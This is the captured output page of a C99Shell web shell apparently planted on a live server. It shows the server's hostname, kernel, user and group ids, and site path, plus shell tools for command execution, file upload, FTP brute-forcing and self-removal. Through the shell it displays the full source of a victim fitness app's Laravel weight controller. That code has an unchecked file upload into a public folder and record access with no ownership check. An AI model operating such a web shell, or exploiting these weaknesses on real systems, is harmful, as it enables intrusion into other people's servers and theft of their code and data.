!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/fitness.picotech.app/public_html/app/Http/Controllers/Customer/   drwxr-xr-x
Free 26.63 GB of 117.98 GB (22.57%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     WeightController.php (4.16 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers\Customer;

use 
App\Http\Controllers\Controller;
use 
App\Models\Weight;
use 
Illuminate\Http\Request;

class 
WeightController extends Controller
{

    public function 
index()
    {
        
$user auth()->user();
        
$data['weekDates']=getLastNDays(30);
        
$data['weights'] = Weight::where('customer_id',$user->id)->pluck('weight');
        return 
view('customer.weight.index',$data);
    }

    public function 
getAll(Request $request)
    {
        
$weights Weight::where('customer_id',auth()->user()->id)->orderByDesc('created_at');
        return 
datatables()->of($weights)

            ->
addColumn('profile', function (Weight $q) {
             
$img asset('uploads/' $q->image) ;
                
$profile '<a href="#"  class="customer-img-show" data-img="'.$img.'">
            <div class="profile-img-sec">
            <img src="' 
$img '" height="40" width="45">
            </div>

           </a>'
;

                return 
$profile;
            })
            ->
addColumn('weight', function (Weight $q) {

                    
$weight $q->weight ' kg';
                   return 
$weight;
               })
            ->
addColumn('created_at', function (Weight $q) {
                
$created_at=formatDate($q->created_at);
                   return 
$created_at;
               })


            ->
addColumn('action', function (Weight $q) {
                return 
"<a class='btn btn-sm btn-info' href='" route('customer.weight.edit', [$q->id]) . "'>Edit</a>  &nbsp; &nbsp;" .
                    
'<button class="btn btn-sm btn-danger" data-message="Are you sure you want to delete this Weight?"
                                        data-action=' 
route('customer.weight.destroy', [$q]) . '
                                        data-input={"_method":"delete"}
                                        data-toggle="modal" data-target="#modal-confirm">Delete</button>'
;
            })
            ->
rawColumns(['action''profile','created_at'])
            ->
toJson();
    }

    public function 
create()
    {

        return 
view('customer.weight.create');
    }

    public function 
store(Request $request)
    {

        
$request->validate([
            
'weight' => 'required',
            
'customer_image' => 'required'
        
]);

        
$profile_pic 'default_profile.png';
        if (
$request->hasFile('customer_image')) {
            
$file $request->file('customer_image');
            
$imageName time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads/'), $imageName);
            
$profile_pic $imageName;
        }

        
$weight = new Weight();
        
$weight->customer_id auth()->user()->id;
        
$customer_weight preg_replace("/[^0-9\.]/"''$request->weight);
        
$weight->weight $customer_weight;
        
$weight->image $profile_pic;
        
$weight->save();

        return 
redirect()->route('customer.weight.index')->with('success''Weight successfully created');
    }

    public function 
edit($weight)
    {
        
$weight Weight::findOrFail($weight);

        
$data['weight'] = $weight;

        return 
view('customer.weight.edit'$data);
    }

    public function 
update($weightRequest $request)
    {
        
$request->validate([
            
'weight' => 'required',
        ]);

        
$weights Weight::findOrFail($weight);





        if (
$request->hasFile('customer_image')) {
            
$file $request->file('customer_image');
            
$imageName time() . '.' $file->getClientOriginalExtension();
            
$file->move(public_path('/uploads/'), $imageName);
            
$weights->image $imageName;

        }

        
$weights->customer_id auth()->user()->id;
        
$customer_weight preg_replace("/[^0-9\.]/"''$request->weight);
        
$weights->weight $customer_weight;
        
$weights->save();

        return 
redirect()->route('customer.weight.index')->with('success''Weight successfully update');
    }

    public function 
destroy($weight)
    {
        
$weight Weight::findOrFail($weight);
        
$weight->delete();

        return 
redirect()->route('customer.weight.index')->with('success''Weight successfully Deleted');
    }


}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--